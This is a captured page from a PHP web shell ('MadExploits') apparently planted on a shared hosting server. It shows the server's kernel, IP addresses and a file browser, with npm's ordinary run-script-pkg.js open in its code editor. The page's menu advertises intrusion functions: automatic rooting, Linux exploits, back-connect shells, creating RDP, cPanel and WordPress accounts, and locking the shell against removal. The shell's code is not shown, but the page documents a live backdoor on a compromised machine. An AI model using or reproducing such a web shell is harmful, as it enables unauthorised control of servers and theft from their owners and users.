Linux business72.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
LiteSpeed
: 162.0.229.97 | : 3.145.12.5
Cant Read [ /etc/named.conf ]
8.1.30
temmmp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
alt-nodejs16 /
root /
usr /
lib /
node_modules /
npm /
node_modules.bundled /
@npmcli /
run-script /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
node-gyp-bin
[ DIR ]
drwxr-xr-x
escape.js
1.5
KB
-rw-r--r--
is-server-package.js
314
B
-rw-r--r--
is-windows.js
113
B
-rw-r--r--
make-spawn-args.js
1.97
KB
-rw-r--r--
package-envs.js
699
B
-rw-r--r--
run-script-pkg.js
2.69
KB
-rw-r--r--
run-script.js
516
B
-rw-r--r--
set-path.js
1.47
KB
-rw-r--r--
signal-manager.js
820
B
-rw-r--r--
validate-options.js
1.18
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : run-script-pkg.js
const makeSpawnArgs = require('./make-spawn-args.js') const promiseSpawn = require('@npmcli/promise-spawn') const packageEnvs = require('./package-envs.js') const { isNodeGypPackage, defaultGypInstallScript } = require('@npmcli/node-gyp') const signalManager = require('./signal-manager.js') const isServerPackage = require('./is-server-package.js') // you wouldn't like me when I'm angry... const bruce = (id, event, cmd, args) => { let banner = id ? `\n> ${id} ${event}\n` : `\n> ${event}\n` banner += `> ${cmd.trim().replace(/\n/g, '\n> ')}` if (args.length) { banner += ` ${args.join(' ')}` } banner += '\n' return banner } const runScriptPkg = async options => { const { event, path, scriptShell, binPaths = false, env = {}, stdio = 'pipe', pkg, args = [], stdioString = false, // note: only used when stdio:inherit banner = true, // how long to wait for a process.kill signal // only exposed here so that we can make the test go a bit faster. signalTimeout = 500, } = options const { scripts = {}, gypfile } = pkg let cmd = null if (options.cmd) { cmd = options.cmd } else if (pkg.scripts && pkg.scripts[event]) { cmd = pkg.scripts[event] } else if ( // If there is no preinstall or install script, default to rebuilding node-gyp packages. event === 'install' && !scripts.install && !scripts.preinstall && gypfile !== false && await isNodeGypPackage(path) ) { cmd = defaultGypInstallScript } else if (event === 'start' && await isServerPackage(path)) { cmd = 'node server.js' } if (!cmd) { return { code: 0, signal: null } } if (stdio === 'inherit' && banner !== false) { // we're dumping to the parent's stdout, so print the banner console.log(bruce(pkg._id, event, cmd, args)) } const [spawnShell, spawnArgs, spawnOpts] = makeSpawnArgs({ event, path, scriptShell, binPaths, env: packageEnvs(env, pkg), stdio, cmd, args, stdioString, }) const p = promiseSpawn(spawnShell, spawnArgs, spawnOpts, { event, script: cmd, pkgid: pkg._id, path, }) if (stdio === 'inherit') { signalManager.add(p.process) } if (p.stdin) { p.stdin.end() } return p.catch(er => { const { signal } = er if (stdio === 'inherit' && signal) { process.kill(process.pid, signal) // just in case we don't die, reject after 500ms // this also keeps the node process open long enough to actually // get the signal, rather than terminating gracefully. return new Promise((res, rej) => setTimeout(() => rej(er), signalTimeout)) } else { throw er } }) } module.exports = runScriptPkg
Close